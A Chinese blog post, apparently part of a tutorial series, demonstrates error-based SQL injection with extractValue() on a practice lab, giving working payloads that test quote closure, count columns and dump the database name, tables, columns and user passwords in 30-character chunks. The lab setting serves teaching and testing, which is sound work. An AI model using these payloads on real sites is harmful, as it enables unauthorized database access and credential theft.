今晚是除夕夜,也是SQL
注入系列的第十篇文章。在这里讨个十全十美的好彩头。祝大家新的一年万事如意、一切顺心!
鲁迅先生曾经说过:做安全,先免责!
用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。
本文主要内容:extractValue()
报错注入靶场实战(get型)
靶场环境
使用靶场第五节
1. 判断注入类型
参数:?id=1 and 1=2
参数:?id=1' and 1=2 --+
2. 判断闭合方式
题目中有写到为单引号闭合,且判断注入类型时也有使用到单引号。这里就不再赘述。
PS:判断注入类型与判断闭合方式不用纠结于先判断哪一个,有时候是混在一起判断的。
3. 判断列数
如果结合union
使用extractValue()
函数,需要进行列数判断;如果使用and
连接extractValue()
函数,则不需要判断列数,跳过这一步即可。(两种方式后面都会提到)
参数:?id=1' group by 4 --+
,页面报错,列数小于4
参数:?id=1' group by 3 --+
,页面正常,列数为3
4. 查数据
4.1 查询数据库名称
方式一:union结合extractValue()
命令:union select 1,2,extractValue(1,concat('^',(select database())))
PS:后面查表名、查列名和查数据将命令中的select database()
替换即可,后面的操作使用方法二
方式二:and结合extractValue()
命令:and extractValue(1,concat('~',(select database())))
你可能还会看到有人这样写:and 1 = extractValue(1,concat('~',(select database())))
,这句命令的作用与效果与上面一样
另外,还可以将concat()
函数的第一个参数用ASCII码值的十六进制数代替,如下所示:``
and extractValue(1,concat(0x5e,(select database())))
and extractValue(1,concat(0x7e,(select database())))
0x5e
表示^
,0x7e
表示~
4.2 查数据表
and extractValue(
1,
concat(
0x5e,
(select group_concat(table_name) from information_schema.tables where table_schema=(database())
)
)
)
extractValue()
的第二个参数为concat()
concat()
的第二个参数为select group_concat(table_name) from information_schema.tables where table_schema=(database())
- 有了
union
注入的基础,这句查询表名的select
语句应该是不难,如果不懂,建议回看union
注入
- 有了
4.3 查询列名
查询users
表下的列名
and extractValue(1,
concat(
0x5e,
(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name = 'users')
)
)
extractValue()
有两个参数,第二个参数为concat()
concat()
有两个参数,第二个参数为select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name = 'users'
where
后有两个条件,一个指明数据库名称;一个指明表名称
4.4 查询数据
因为报错回显只有32个字符,因此需要用到substr()
函数
# 第1~30个字符
and extractValue(1,concat(0x5e,substr((select group_concat(username,'~',password) from users),1,30)))
# 3第1~60个字符
and extractValue(1,concat(0x5e,substr((select group_concat(username,'~',password) from users),31,60)))
后面的数据内容修改substr()
函数的第二个和第三个参数即可。
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊
,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!